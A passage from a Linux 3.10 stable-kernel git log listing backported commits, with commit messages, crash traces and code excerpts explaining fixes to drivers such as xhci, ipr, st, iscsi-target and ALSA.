bInterval 32 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1 Device Status: 0x0001 Self Powered Signed-off-by: Dirk Behme Cc: Lars Melin Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c4d31a6b7b0d80d5ba8494c182cacdc6e4a4048 Author: Mathias Nyman Date: Mon Aug 3 16:07:48 2015 +0300 xhci: fix off by one error in TRB DMA address boundary check commit 7895086afde2a05fa24a0e410d8e6b75ca7c8fdd upstream. We need to check that a TRB is part of the current segment before calculating its DMA address. Previously a ring segment didn't use a full memory page, and every new ring segment got a new memory page, so the off by one error in checking the upper bound was never seen. Now that we use a full memory page, 256 TRBs (4096 bytes), the off by one didn't catch the case when a TRB was the first element of the next segment. This is triggered if the virtual memory pages for a ring segment are next to each in increasing order where the ring buffer wraps around and causes errors like: [ 106.398223] xhci_hcd 0000:00:14.0: ERROR Transfer event TRB DMA ptr not part of current TD ep_index 0 comp_code 1 [ 106.398230] xhci_hcd 0000:00:14.0: Looking for event-dma fffd3000 trb-start fffd4fd0 trb-end fffd5000 seg-start fffd4000 seg-end fffd4ff0 The trb-end address is one outside the end-seg address. Tested-by: Arkadiusz MiÅ›kiewicz Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b058d443ab28867fc265ba87a442b1651c0eea19 Author: Brian King Date: Tue Jul 14 11:41:33 2015 -0500 ipr: Fix invalid array indexing for HRRQ commit 3f1c0581310d5d94bd72740231507e763a6252a4 upstream. Fixes another signed / unsigned array indexing bug in the ipr driver. Currently, when hrrq_index wraps, it becomes a negative number. We do the modulo, but still have a negative number, so we end up indexing backwards in the array. Given where the hrrq array is located in memory, we probably won't actually reference memory we don't own, but nonetheless ipr is still looking at data within struct ipr_ioa_cfg and interpreting it as struct ipr_hrr_queue data, so bad things could certainly happen. Each ipr adapter has anywhere from 1 to 16 HRRQs. By default, we use 2 on new adapters. Let's take an example: Assume ioa_cfg->hrrq_index=0x7fffffffe and ioa_cfg->hrrq_num=4: The atomic_add_return will then return -1. We mod this with 3 and get -2, add one and get -1 for an array index. On adapters which support more than a single HRRQ, we dedicate HRRQ to adapter initialization and error interrupts so that we can optimize the other queues for fast path I/O. So all normal I/O uses HRRQ 1-15. So we want to spread the I/O requests across those HRRQs. With the default module parameter settings, this bug won't hit, only when someone sets the ipr.number_of_msix parameter to a value larger than 3 is when bad things start to happen. Tested-by: Wen Xiong Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4344d9957734e4b7bbefd834d1b4a9080a68f1bf Author: Brian King Date: Tue Jul 14 11:41:31 2015 -0500 ipr: Fix incorrect trace indexing commit bb7c54339e6a10ecce5c4961adf5e75b3cf0af30 upstream. When ipr's internal driver trace was changed to an atomic, a signed/unsigned bug slipped in which results in us indexing backwards in our memory buffer writing on memory that does not belong to us. This patch fixes this by removing the modulo and instead just mask off the low bits. Tested-by: Wen Xiong Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03447144919abaa3e67747a6d9385be241ff6060 Author: Brian King Date: Tue Jul 14 11:41:29 2015 -0500 ipr: Fix locking for unit attention handling commit 36b8e180e1e929e00b351c3b72aab3147fc14116 upstream. Make sure we have the host lock held when calling scsi_report_bus_reset. Fixes a crash seen as the __devices list in the scsi host was changing as we were iterating through it. Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08dfcf5ed8560aaf9b5b3dd3a38e6dca2007ab15 Author: Alex Deucher Date: Mon Jul 27 19:24:31 2015 -0400 drm/radeon/combios: add some validation of lvds values commit 0a90a0cff9f429f886f423967ae053150dce9259 upstream. Fixes a broken hsync start value uncovered by: abc0b1447d4974963548777a5ba4a4457c82c426 (drm: Perform basic sanity checks on probed modes) The driver handled the bad hsync start elsewhere, but the above commit prevented it from getting added. bug: https://bugs.freedesktop.org/show_bug.cgi?id=91401 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c041a5348eb8b8db59ddb4ef25c7c91f1a12da75 Author: Jan Kara Date: Thu Aug 6 15:46:42 2015 -0700 fsnotify: fix oops in fsnotify_clear_marks_by_group_flags() commit 8f2f3eb59dff4ec538de55f2e0592fec85966aab upstream. fsnotify_clear_marks_by_group_flags() can race with fsnotify_destroy_marks() so that when fsnotify_destroy_mark_locked() drops mark_mutex, a mark from the list iterated by fsnotify_clear_marks_by_group_flags() can be freed and thus the next entry pointer we have cached may become stale and we dereference free memory. Fix the problem by first moving marks to free to a special private list and then always free the first entry in the special list. This method is safe even when entries from the list can disappear once we drop the lock. Signed-off-by: Jan Kara Reported-by: Ashish Sangwan Reviewed-by: Ashish Sangwan Cc: Lino Sanfilippo Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfb9cd7ce2ff4560493a82a436919b3cfd14e280 Author: David Daney Date: Mon Aug 3 17:48:43 2015 -0700 MIPS: Make set_pte() SMP safe. commit 46011e6ea39235e4aca656673c500eac81a07a17 upstream. On MIPS the GLOBAL bit of the PTE must have the same value in any aligned pair of PTEs. These pairs of PTEs are referred to as "buddies". In a SMP system is is possible for two CPUs to be calling set_pte() on adjacent PTEs at the same time. There is a race between setting the PTE and a different CPU setting the GLOBAL bit in its buddy PTE. This race can be observed when multiple CPUs are executing vmap()/vfree() at the same time. Make setting the buddy PTE's GLOBAL bit an atomic operation to close the race condition. The case of CONFIG_64BIT_PHYS_ADDR && CONFIG_CPU_MIPS32 is *not* handled. Signed-off-by: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/10835/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dacbbfe16e57953a69932676c367e271fcb7b4c9 Author: Felix Fietkau Date: Sun Jul 19 00:38:41 2015 +0200 MIPS: Fix sched_getaffinity with MT FPAFF enabled commit 1d62d737555e1378eb62a8bba26644f7d97139d2 upstream. p->thread.user_cpus_allowed is zero-initialized and is only filled on the first sched_setaffinity call. To avoid adding overhead in the task initialization codepath, simply OR the returned mask in sched_getaffinity with p->cpus_allowed. Signed-off-by: Felix Fietkau Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/10740/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a085429622b55167d01651a8b2d4d4e17a6853d Author: Arnd Bergmann Date: Sun Mar 16 21:00:25 2014 +0100 ARM: realview: fix sparsemem build commit dd94d3558947756b102b1487911acd925224a38c upstream. Commit b713aa0b15 "ARM: fix asm/memory.h build error" broke some configurations on mach-realview with sparsemem enabled, which is missing a definition of PHYS_OFFSET: arch/arm/include/asm/memory.h:268:42: error: 'PHYS_OFFSET' undeclared (first use in this function) #define PHYS_PFN_OFFSET ((unsigned long)(PHYS_OFFSET >> PAGE_SHIFT)) arch/arm/include/asm/dma-mapping.h:104:9: note: in expansion of macro 'PHYS_PFN_OFFSET' return PHYS_PFN_OFFSET + dma_to_pfn(dev, *dev->dma_mask); An easy workaround is for realview to define PHYS_OFFSET itself, in the same way we define it for platforms that don't have a private __virt_to_phys function. Signed-off-by: Arnd Bergmann Cc: Russell King Cc: Linus Walleij Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c6118527207d83c6090890054df7879c60db304 Author: Greg Kroah-Hartman Date: Mon Aug 10 12:22:47 2015 -0700 Linux 3.10.86 Signed-off-by: Pranav Vashi commit 3f074a9a0b43d093a571848c3c57ca7ed52c7756 Author: Fupan Li Date: Tue Aug 4 09:51:21 2015 +0800 efi: fix 32bit kernel boot failed problem using efi Commit 35d5134b7d5a ("x86/efi: Correct EFI boot stub use of code32_start") imported a bug, which will cause 32bit kernel boot failed using efi method. It should use the label's address instead of the value stored in the label to caculate the address of code32_start. Signed-off-by: Fupan Li Reviewed-by: Matt Fleming Signed-off-by: Pranav Vashi commit 55a02e26545d26d651a890cffdceb9df32c9be18 Author: Nicholas Bellinger Date: Thu Jul 23 22:30:31 2015 +0000 iscsi-target: Fix iser explicit logout TX kthread leak commit 007d038bdf95ccfe2491d0078be54040d110fd06 upstream. This patch fixes a regression introduced with the following commit in v4.0-rc1 code, where an explicit iser-target logout would result in ->tx_thread_active being incorrectly cleared by the logout post handler, and subsequent TX kthread leak: commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h To address this bug, change iscsit_logout_post_handler_closesession() and iscsit_logout_post_handler_samecid() to only cmpxchg() on ->tx_thread_active for traditional iscsi/tcp connections. This is required because iscsi/tcp connections are invoking logout post handler logic directly from TX kthread context, while iser connections are invoking logout post handler logic from a seperate workqueue context. Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5e31250af86b040468eff027a16d164a3600f32 Author: Nicholas Bellinger Date: Wed Jul 22 00:24:09 2015 -0700 iscsi-target: Fix use-after-free during TPG session shutdown commit 417c20a9bdd1e876384127cf096d8ae8b559066c upstream. This patch fixes a use-after-free bug in iscsit_release_sessions_for_tpg() where se_portal_group->session_lock was incorrectly released/re-acquired while walking the active se_portal_group->tpg_sess_list. The can result in a NULL pointer dereference when iscsit_close_session() shutdown happens in the normal path asynchronously to this code, causing a bogus dereference of an already freed list entry to occur. To address this bug, walk the session list checking for the same state as before, but move entries to a local list to avoid dropping the lock while walking the active list. As before, signal using iscsi_session->session_restatement=1 for those list entries to be released locally by iscsit_free_session() code. Reported-by: Sunilkumar Nadumuttlu Cc: Sunilkumar Nadumuttlu Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7f9e091b4f9a21d619ca0342a61f2e842c0b4c47 Author: Marc-André Lureau Date: Fri Jul 17 15:32:03 2015 +0200 vhost: actually track log eventfd file commit 7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5 upstream. While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Signed-off-by: Marc-André Lureau Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e05bc2259ab5610054a1d55b23e71198e9c07bd Author: Wengang Wang Date: Mon Jul 6 14:35:11 2015 +0800 rds: rds_ib_device.refcount overflow commit 4fabb59449aa44a585b3603ffdadd4c5f4d0c033 upstream. Fixes: 3e0249f9c05c ("RDS/IB: add refcount tracking to struct rds_ib_device") There lacks a dropping on rds_ib_device.refcount in case rds_ib_alloc_fmr failed(mr pool running out). this lead to the refcount overflow. A complain in line 117(see following) is seen. From vmcore: s_ib_rdma_mr_pool_depleted is 2147485544 and rds_ibdev->refcount is -2147475448. That is the evidence the mr pool is used up. so rds_ib_alloc_fmr is very likely to return ERR_PTR(-EAGAIN). 115 void rds_ib_dev_put(struct rds_ib_device *rds_ibdev) 116 { 117 BUG_ON(atomic_read(&rds_ibdev->refcount) <= 0); 118 if (atomic_dec_and_test(&rds_ibdev->refcount)) 119 queue_work(rds_wq, &rds_ibdev->free_work); 120 } fix is to drop refcount when rds_ib_alloc_fmr failed. Signed-off-by: Wengang Wang Reviewed-by: Haggai Eran Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6d5735e4c3aa58a09c07374fa56de184705cb43 Author: Zhuang Jin Can Date: Tue Jul 21 17:20:30 2015 +0300 xhci: prevent bus_suspend if SS port resuming in phase 1 commit fac4271d1126c45ceaceb7f4a336317b771eb121 upstream. When the link is just waken, it's in Resume state, and driver sets PLS to U0. This refers to Phase 1. Phase 2 refers to when the link has completed the transition from Resume state to U0. With the fix of xhci: report U3 when link is in resume state, it also exposes an issue that usb3 roothub and controller can suspend right after phase 1, and this causes a hard hang in controller. To fix the issue, we need to prevent usb3 bus suspend if any port is resuming in phase 1. [merge separate USB2 and USB3 port resume checking to one -Mathias] Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29d7c07253f81769ad1ce74a3e6c64c52c381b0c Author: Zhuang Jin Can Date: Tue Jul 21 17:20:29 2015 +0300 xhci: report U3 when link is in resume state commit 243292a2ad3dc365849b820a64868927168894ac upstream. xhci_hub_report_usb3_link_state() returns pls as U0 when the link is in resume state, and this causes usb core to think the link is in U0 while actually it's in resume state. When usb core transfers control request on the link, it fails with TRB error as the link is not ready for transfer. To fix the issue, report U3 when the link is in resume state, thus usb core knows the link it's not ready for transfer. Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1fe1653398584620ad5795148236426d9ff0c50 Author: Brian Campbell Date: Tue Jul 21 17:20:28 2015 +0300 xhci: Calculate old endpoints correctly on device reset commit 326124a027abc9a7f43f72dc94f6f0f7a55b02b3 upstream. When resetting a device the number of active TTs may need to be corrected by xhci_update_tt_active_eps, but the number of old active endpoints supplied to it was always zero, so the number of TTs and the bandwidth reserved for them was not updated, and could rise unnecessarily. This affected systems using Intel's Patherpoint chipset, which rely on software bandwidth checking. For example, a Lenovo X230 would lose the ability to use ports on the docking station after enough suspend/resume cycles because the bandwidth calculated would rise with every cycle when a suitable device is attached. The correct number of active endpoints is calculated in the same way as in xhci_reserve_bandwidth. Signed-off-by: Brian Campbell Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1823ae708d8e5f88fcdc4d1509ee4320a5e700cf Author: Oliver Neukum Date: Mon Jul 6 13:12:32 2015 +0200 usb-storage: ignore ZTE MF 823 card reader in mode 0x1225 commit 5fb2c782f451a4fb9c19c076e2c442839faf0f76 upstream. This device automatically switches itself to another mode (0x1405) unless the specific access pattern of Windows is followed in its initial mode. That makes a dirty unmount of the internal storage devices inevitable if they are mounted. So the card reader of such a device should be ignored, lest an unclean removal become inevitable. This replaces an earlier patch that ignored all LUNs of this device. That patch was overly broad. Signed-off-by: Oliver Neukum Reviewed-by: Lars Melin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9f808cfe93a9753357f81f38bd0c34a0f7f30dcb Author: Lior Amsalem Date: Tue Jun 30 16:09:49 2015 +0200 ata: pmp: add quirk for Marvell 4140 SATA PMP commit 945b47441d83d2392ac9f984e0267ad521f24268 upstream. This commit adds the necessary quirk to make the Marvell 4140 SATA PMP work properly. This PMP doesn't like SRST on port number 4 (the host port) so this commit marks this port as not supporting SRST. Signed-off-by: Lior Amsalem Reviewed-by: Nadav Haklai Signed-off-by: Thomas Petazzoni Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54203094c3185843142138363fd98c0aa41489e5 Author: Tejun Heo Date: Wed Jul 22 18:05:53 2015 -0400 blkcg: fix gendisk reference leak in blkg_conf_prep() commit 5f6c2d2b7dbb541c1e922538c49fa04c494ae3d7 upstream. When a blkcg configuration is targeted to a partition rather than a whole device, blkg_conf_prep fails with -EINVAL; unfortunately, it forgets to put the gendisk ref in that case. Fix it. Signed-off-by: Tejun Heo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10d8ebce432fc688773e47f087aa633d096411ee Author: Bernhard Bender Date: Thu Jul 23 13:58:08 2015 -0700 Input: usbtouchscreen - avoid unresponsive TSC-30 touch screen commit 968491709e5b1aaf429428814fff3d932fa90b60 upstream. This patch fixes a problem in the usbtouchscreen driver for DMC TSC-30 touch screen. Due to a missing delay between the RESET and SET_RATE commands, the touch screen may become unresponsive during system startup or driver loading. According to the DMC documentation, a delay is needed after the RESET command to allow the chip to complete its internal initialization. As this delay is not guaranteed, we had a system where the touch screen occasionally did not send any touch data. There was no other indication of the problem. The patch fixes the problem by adding a 150ms delay between the RESET and SET_RATE commands. Suggested-by: Jakob Mustafa Signed-off-by: Bernhard Bender Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eace7c317caed4b41505feaa152ef9d88f07f97f Author: Chris Metcalf Date: Thu Jul 23 14:11:09 2015 -0400 tile: use free_bootmem_late() for initrd commit 3f81d2447b37ac697b3c600039f2c6b628c06e21 upstream. We were previously using free_bootmem() and just getting lucky that nothing too bad happened. Signed-off-by: Chris Metcalf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e3c26f01851e4546dcc76b4345ef95da52f4211 Author: NeilBrown Date: Fri Jul 24 09:22:16 2015 +1000 md/raid1: fix test for 'was read error from last working device'. commit 34cab6f42003cb06f48f86a86652984dec338ae9 upstream. When we get a read error from the last working device, we don't try to repair it, and don't fail the device. We simple report a read error to the caller. However the current test for 'is this the last working device' is wrong. When there is only one fully working device, it assumes that a non-faulty device is that device. However a spare which is rebuilding would be non-faulty but so not the only working device. So change the test from "!Faulty" to "In_sync". If ->degraded says there is only one fully working device and this device is in_sync, this must be the one. This bug has existed since we allowed read_balance to read from a recovering spare in v3.0 Reported-and-tested-by: Alexander Lyakas Fixes: 76073054c95b ("md/raid1: clean up read_balance.") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5efe14bbd2c97545f085770d832cee347109b4b2 Author: Jingju Hou Date: Thu Jul 23 17:56:23 2015 +0800 mmc: sdhci-pxav3: fix platform_data is not initialized commit 9cd76049f0d90ae241f5ad80e311489824527000 upstream. pdev->dev.platform_data is not initialized if match is true in function sdhci_pxav3_probe. Just local variable pdata is assigned the return value from function pxav3_get_mmc_pdata(). static int sdhci_pxav3_probe(struct platform_device *pdev) { struct sdhci_pxa_platdata *pdata = pdev->dev.platform_data; ... if (match) { ret = mmc_of_parse(host->mmc); if (ret) goto err_of_parse; sdhci_get_of_property(pdev); pdata = pxav3_get_mmc_pdata(dev); } ... } Signed-off-by: Jingju Hou Fixes: b650352dd3df("mmc: sdhci-pxa: Add device tree support") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2534627a481b3f9f496d0055791ff6367f1c46e4 Author: Joakim Tjernlund Date: Wed Jul 22 16:44:26 2015 +0200 mmc: sdhci-esdhc: Make 8BIT bus work commit 8e91125ff3f57f15c6568e2a6d32743b3f7815e4 upstream. Support for 8BIT bus with was added some time ago to sdhci-esdhc but then missed to remove the 8BIT from the reserved bit mask which made 8BIT non functional. Fixes: 66b50a00992d ("mmc: esdhc: Add support for 8-bit bus width and..") Signed-off-by: Joakim Tjernlund Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f57f2e4fafbd87673007f39d27c57f24f6c0b7d6 Author: Tom Hughes Date: Mon Jun 29 19:41:49 2015 +0100 mac80211: clear subdir_stations when removing debugfs commit 4479004e6409087d1b4986881dc98c6c15dffb28 upstream. If we don't do this, and we then fail to recreate the debugfs directory during a mode change, then we will fail later trying to add stations to this now bogus directory: BUG: unable to handle kernel NULL pointer dereference at 0000006c IP: [] mutex_lock+0x12/0x30 Call Trace: [] start_creating+0x44/0xc0 [] debugfs_create_dir+0x13/0xf0 [] ieee80211_sta_debugfs_add+0x6e/0x490 [mac80211] Signed-off-by: Tom Hughes Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8654b4f3f2e0fac438c3f94bc4a9c3eff1e5dfb7 Author: Seymour, Shane M Date: Thu Jul 2 12:01:10 2015 +0000 st: null pointer dereference panic caused by use after kref_put by st_open commit e7ac6c6666bec0a354758a1298d3231e4a635362 upstream. Two SLES11 SP3 servers encountered similar crashes simultaneously following some kind of SAN/tape target issue: ... qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-8009:3: DEVICE RESET ISSUED nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: DEVICE RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8009:3: TARGET RESET ISSUED nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: TARGET RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8012:3: BUS RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-802b:3: BUS RESET SUCCEEDED nexus=3:0:2. qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8018:3: ADAPTER RESET ISSUED nexus=3:0:2. qla2xxx [0000:81:00.0]-00af:3: Performing ISP error recovery - ha=ffff88bf04d18000. rport-3:0-0: blocked FC remote port time out: removing target and saving binding qla2xxx [0000:81:00.0]-505f:3: Link is operational (8 Gbps). qla2xxx [0000:81:00.0]-8017:3: ADAPTER RESET SUCCEEDED nexus=3:0:2. rport-2:0-0: blocked FC remote port time out: removing target and saving binding sg_rq_end_io: device detached BUG: unable to handle kernel NULL pointer dereference at 00000000000002a8 IP: [] __pm_runtime_idle+0x28/0x90 PGD 7e6586f067 PUD 7e5af06067 PMD 0 [1739975.390354] Oops: 0002 [#1] SMP CPU 0 ... Supported: No, Proprietary modules are loaded [1739975.390463] Pid: 27965, comm: ABCD Tainted: PF X 3.0.101-0.29-default #1 HP ProLiant DL580 Gen8 RIP: 0010:[] [] __pm_runtime_idle+0x28/0x90 RSP: 0018:ffff8839dc1e7c68 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ffff883f0592fc00 RCX: 0000000000000090 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000138 RBP: 0000000000000138 R08: 0000000000000010 R09: ffffffff81bd39d0 R10: 00000000000009c0 R11: ffffffff81025790 R12: 0000000000000001 R13: ffff883022212b80 R14: 0000000000000004 R15: ffff883022212b80 FS: 00007f8e54560720(0000) GS:ffff88407f800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 00000000000002a8 CR3: 0000007e6ced6000 CR4: 00000000001407f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process ABCD (pid: 27965, threadinfo ffff8839dc1e6000, task ffff883592e0c640) Stack: ffff883f0592fc00 00000000fffffffa 0000000000000001 ffff883022212b80 ffff883eff772400 ffffffffa03fa309 0000000000000000 0000000000000000 ffffffffa04003a0 ffff883f063196c0 ffff887f0379a930 ffffffff8115ea1e Call Trace: [] st_open+0x129/0x240 [st] [] chrdev_open+0x13e/0x200 [] __dentry_open+0x198/0x310 [] do_last+0x1f4/0x800 [] path_openat+0xd9/0x420 [] do_filp_open+0x4c/0xc0 [] do_sys_open+0x17f/0x250 [] system_call_fastpath+0x16/0x1b [<00007f8e4f617fd0>] 0x7f8e4f617fcf Code: eb d3 90 48 83 ec 28 40 f6 c6 04 48 89 6c 24 08 4c 89 74 24 20 48 89 fd 48 89 1c 24 4c 89 64 24 10 41 89 f6 4c 89 6c 24 18 74 11 ff 8f 70 01 00 00 0f 94 c0 45 31 ed 84 c0 74 2b 4c 8d a5 a0 RIP [] __pm_runtime_idle+0x28/0x90 RSP CR2: 00000000000002a8 Analysis reveals the cause of the crash to be due to STp->device being NULL. The pointer was NULLed via scsi_tape_put(STp) when it calls scsi_tape_release(). In st_open() we jump to err_out after scsi_block_when_processing_errors() completes and returns the device as offline (sdev_state was SDEV_DEL): 1180 /* Open the device. Needs to take the BKL only because of incrementing the SCSI host 1181 module count. */ 1182 static int st_open(struct inode *inode, struct file *filp) 1183 { 1184 int i, retval = (-EIO); 1185 int resumed = 0; 1186 struct scsi_tape *STp; 1187 struct st_partstat *STps; 1188 int dev = TAPE_NR(inode); 1189 char *name; ... 1217 if (scsi_autopm_get_device(STp->device) < 0) { 1218 retval = -EIO; 1219 goto err_out; 1220 } 1221 resumed = 1; 1222 if (!scsi_block_when_processing_errors(STp->device)) { 1223 retval = (-ENXIO); 1224 goto err_out; 1225 } ... 1264 err_out: 1265 normalize_buffer(STp->buffer); 1266 spin_lock(&st_use_lock); 1267 STp->in_use = 0; 1268 spin_unlock(&st_use_lock); 1269 scsi_tape_put(STp); <-- STp->device = 0 after this 1270 if (resumed) 1271 scsi_autopm_put_device(STp->device); 1272 return retval; The ref count for the struct scsi_tape had already been reduced to 1 when the .remove method of the st module had been called. The kref_put() in scsi_tape_put() caused scsi_tape_release() to be called: 0266 static void scsi_tape_put(struct scsi_tape *STp) 0267 { 0268 struct scsi_device *sdev = STp->device; 0269 0270 mutex_lock(&st_ref_mutex); 0271 kref_put(&STp->kref, scsi_tape_release); <-- calls this 0272 scsi_device_put(sdev); 0273 mutex_unlock(&st_ref_mutex); 0274 } In scsi_tape_release() the struct scsi_device in the struct scsi_tape gets set to NULL: 4273 static void scsi_tape_release(struct kref *kref) 4274 { 4275 struct scsi_tape *tpnt = to_scsi_tape(kref); 4276 struct gendisk *disk = tpnt->disk; 4277 4278 tpnt->device = NULL; <<<---- where the dev is nulled 4279 4280 if (tpnt->buffer) { 4281 normalize_buffer(tpnt->buffer); 4282 kfree(tpnt->buffer->reserved_pages); 4283 kfree(tpnt->buffer); 4284 } 4285 4286 disk->private_data = NULL; 4287 put_disk(disk); 4288 kfree(tpnt); 4289 return; 4290 } Although the problem was reported on SLES11.3 the problem appears in linux-next as well. The crash is fixed by reordering the code so we no longer access the struct scsi_tape after the kref_put() is done on it in st_open(). Signed-off-by: Shane Seymour Signed-off-by: Darren Lavender Reviewed-by: Johannes Thumshirn Acked-by: Kai Mäkisara Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b78d1a352737610ba4a686f8803836ed027af335 Author: Takashi Iwai Date: Thu Jul 30 22:30:29 2015 +0200 ALSA: hda - Fix MacBook Pro 5,2 quirk commit 649ccd08534ee26deb2e5b08509800d0e95167f5 upstream. MacBook Pro 5,2 with ALC889 codec had already a fixup entry, but this seems not working correctly, a fix for pin NID 0x15 is needed in addition. It's equivalent with the fixup for MacBook Air 1,1, so use this instead. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102131 Reported-and-tested-by: Jeffery Miller Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 094888e0b904e3b69ecda37252606e6294e5a9ff Author: Yao-Wen Mao Date: Wed Jul 29 15:13:54 2015 +0800 ALSA: usb-audio: add dB range mapping for some devices commit 2d1cb7f658fb9c3ba8f9dab8aca297d4dfdec835 upstream. Add the correct dB ranges of Bose Companion 5 and Drangonfly DAC 1.2. Signed-off-by: Yao-Wen Mao Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2781c331d2c0e26d9ca6a8cbd68c271e25590418 Author: Dominic Sacré Date: Tue Jun 30 17:41:33 2015 +0200 ALSA: usb-audio: Add MIDI support for Steinberg MI2/MI4 commit 0689a86ae814f39af94a9736a0a5426dd82eb107 upstream. The Steinberg MI2 and MI4 interfaces are compatible with the USB class audio spec, but the MIDI part of the devices is reported as a vendor specific interface. This patch adds entries to quirks-table.h to recognize the MIDI endpoints. Audio functionality was already working and is unaffected by this change. Signed-off-by: Dominic Sacré Signed-off-by: Albert Huitsing Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0acb1b7f1d2224eb40f973a219b2802d9bfc6ac Author: Thomas Gleixner Date: Thu Jul 16 14:10:17 2015 +0200 genirq: Prevent resend to interrupts marked IRQ_NESTED_THREAD commit 75a06189fc508a2acf470b0b12710362ffb2c4b1 upstream. The resend mechanism happily calls the interrupt handler of interrupts which are marked IRQ_NESTED_THREAD from softirq context. This can result in crashes because the interrupt handler is not the proper way to invoke the device handlers. They must be invoked via handle_nested_irq. Prevent the resend even if the interrupt has no valid parent irq set. Its better to have a lost interrupt than a crashing machine. Reported-by: Uwe Kleine-König Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3523897f2a456b08a1075614f19432778f2eba0b Author: Alexey Brodkin Date: Mon Jul 13 10:25:17 2015 +0300 ARC: make sure instruction_pointer() returns unsigned value commit f51e2f1911122879eefefa4c592dea8bf794b39c upstream. Currently instruction_pointer() returns pt_regs->ret and so return value is of type 